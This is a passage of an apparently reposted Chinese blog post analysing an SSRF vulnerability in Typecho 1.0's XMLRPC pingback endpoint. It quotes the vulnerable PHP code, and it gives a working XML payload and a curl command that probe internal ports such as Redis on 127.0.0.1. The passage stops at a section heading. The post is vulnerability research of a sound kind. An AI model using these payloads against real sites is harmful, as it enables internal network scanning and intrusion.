Typecho SSRF漏洞分析与利用

释放双眼,带上耳机,听听看~!
Author:JoyChou@Meili-incMail:viarus#qq.comDate:201711071.前言Google了下TypechoSSRF关键字,发现和WordPress一样,XMLRPC也存在同样的SSRF问题。自己博客也是使用Typecho,所以就分析一下,顺便自己再

Author: JoyChou@Meili-incMail: viarus#qq.comDate: 20171107

1. 前言

Google了下Typecho SSRF关键字,发现和WordPress一样,XMLRPC也存在同样的SSRF问题。自己博客也是使用Typecho,所以就分析一下,顺便自己再打个PATCH。

本文所有测试均在以下测试环境:

  • Typecho 1.0 (14.10.10)

  • CentOS 7

  • libcurl/7.29.0

  • Redis server v=3.2.10

  • PHP 5.4.16 (fpm-fcgi)

2. 漏洞原理

XMLRPC这个接口在Typecho 1.0版本中,默认有该功能,并无设置选项。后面的1.1版本有设置该选项的功能。

XMLRPC里的Pingback协议,很多人可能不知道 Pingback 协议是干嘛的。我在这里简单解释下,这个协议诞生在Web 2.0概念诞生之初,由于在互联网世界各个博客站点之间是独立的存在,而它们之间又经常存在互相引用的情况。作为一个原创博主,我是无法知道我这篇文章被哪些站点引用过的,因此Pingback协议就是为了解决这个问题存在的。

当你在写的文章发表后,如果文中引用了某个链接,系统会自动向那个链接发一个PING,告诉对方我引用了这篇文章,地址是: xxx。对方收到这个PING以后会根据你给的原文地址回去检验一下是否存在这个引用,这就是一次BACK。检验完以后,会把这次引用记录下来,大家经常在Typecho或者WordPress之类博客评论列表里看到的引用记录,就是这么来的。

而造成这个漏洞的关键就在于这个BACK过程,该过程会用cURL或者socket请求原文地址,由于未做任何限制,导致SSRF。

2.1 代码分析

漏洞URL:http://localhost/action/xmlrpc。POST提交以下Payload:

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
 <methodName>pingback.ping</methodName>
 <params>
   <param>
     <value>
       <string>http://127.0.0.1:2222</string>
     </value>
   </param>
   <param>
     <value>
       <string>joychou</string>
     </value>
   </param>
 </params>
</methodCall>

收到源地址服务器错误这样的错误返回。

代码里搜索源地址服务器错误,发现只有var/Widget/XmlRpc.php文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)函数即可,该函数的$source参数为http://127.0.0.1:2222$target为joychou

先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。

XmlRpc.php

if (!($http = Typecho_Http_Client::get())) {
return new IXR_Error(16, _t('源地址服务器错误'));
}

get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。

var/Typecho/Http/Client.php

public static function get()
{
$adapters = func_get_args();
if (empty($adapters)) {
$adapters = array();
$adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php');
foreach ($adapterFiles as $file) {
$adapters[] = substr(basename($file), 0, -4);
}
}
foreach ($adapters as $adapter) {
$adapterName = 'Typecho_Http_Client_Adapter_' . $adapter;
if (Typecho_Common::isAvailableClass($adapterName) && call_user_func(array($adapterName, 'isAvailable'))) {
return new $adapterName();
}
}
return false;
}

回到XmlRpc.php,$http->setTimeout(5)->send($source);该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PORT, $this->port);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。

2.2 代码整体逻辑

  1. 程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用

  2. 如果cURL返回失败或者返回成功后但状态码不是200,返回源地址服务器错误

  3. 如果cURL返回成功,并且状态码为200,如果没有x-pingback头,返回源地址不支持PingBack,如果有x-pingback头,就继续往下判断。

try {
$http->setTimeout(5)->send($source);
$response = $http->getResponseBody();
if (200 == $http->getResponseStatus()) {
if (!$http->getResponseHeader('x-pingback')) {
preg_match_all("/<link[^>]*rel=[\"']([^\"']*)[\"'][^>]*href=[\"']([^\"']*)[\"'][^>]*>/i", $response, $out);
if (!isset($out[1]['pingback'])) {
return new IXR_Error(50, _t('源地址不支持PingBack'));
}
}
} else {
return new IXR_Error(16, _t('源地址服务器错误'));
}
} catch (Exception $e) {
return new IXR_Error(16, _t('源地址服务器错误'));
}

3. 漏洞利用

3.1 端口探测

所以,可以根据返回码,我们可以来探测端口。

  • 返回源地址服务器错误,端口不开启。

  • 返回源地址不支持PingBack或者其他错误,端口开启。

3.1.1 探测Redis端口

curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:6379</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

返回:

<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>16</int></value>
</member>
<member>
<name>faultString</name>
<value><string>源地址服务器错误</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>

所以,这就很尴尬,php curl对http://127.0.0.1:6379发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…

而且用时间差测试,端口是否有无,时间差几乎一样。

3.1.2 探测Web服务

给TA买糖
共{{data.count}}人
人已赞赏
Web安全

ThinkPHP3.2.3框架实现安全数据库操作分析

2017-10-9 1:05:47

Web安全

【漏洞预警】Apache Struts S2-055 反序列化漏洞

2017-12-1 5:17:39

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索